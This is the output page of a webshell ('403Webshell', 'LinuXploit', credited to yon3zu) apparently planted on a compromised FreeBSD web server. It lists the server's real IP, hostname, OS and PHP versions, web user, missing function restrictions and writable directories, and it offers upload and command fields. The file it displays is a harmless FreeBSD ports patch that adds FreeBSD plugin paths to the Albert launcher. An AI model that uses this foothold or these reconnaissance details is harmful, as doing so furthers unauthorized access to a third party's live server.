403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.236
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/x11/albert/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/x11/albert/files/patch-src_app_main.cpp
--- src/app/main.cpp.orig	2018-12-31 18:07:36 UTC
+++ src/app/main.cpp
@@ -296,15 +296,21 @@ int main(int argc, char **argv) {
         if ( parser.isSet("plugin-dirs") )
             pluginDirs = parser.value("plugin-dirs").split(',');
         else {
-#if defined __linux__
+#if defined __linux__ || defined __FreeBSD__
             QStringList dirs = {
 #if defined MULTIARCH_TUPLE
                 QFileInfo("/usr/lib/" MULTIARCH_TUPLE).canonicalFilePath(),
 #endif
+#if defined __linux__
                 QFileInfo("/usr/lib/").canonicalFilePath(),
                 QFileInfo("/usr/lib64/").canonicalFilePath(),
                 QFileInfo("/usr/local/lib/").canonicalFilePath(),
                 QFileInfo("/usr/local/lib64/").canonicalFilePath(),
+#endif
+#if defined __FreeBSD__
+                QFileInfo("/usr/lib/").canonicalFilePath(),
+                QFileInfo("/usr/local/lib/").canonicalFilePath(),
+#endif
                 QDir::home().filePath(".local/lib/"),
                 QDir::home().filePath(".local/lib64/")
             };

Youez - 2016 - github.com/yon3zu
LinuXploit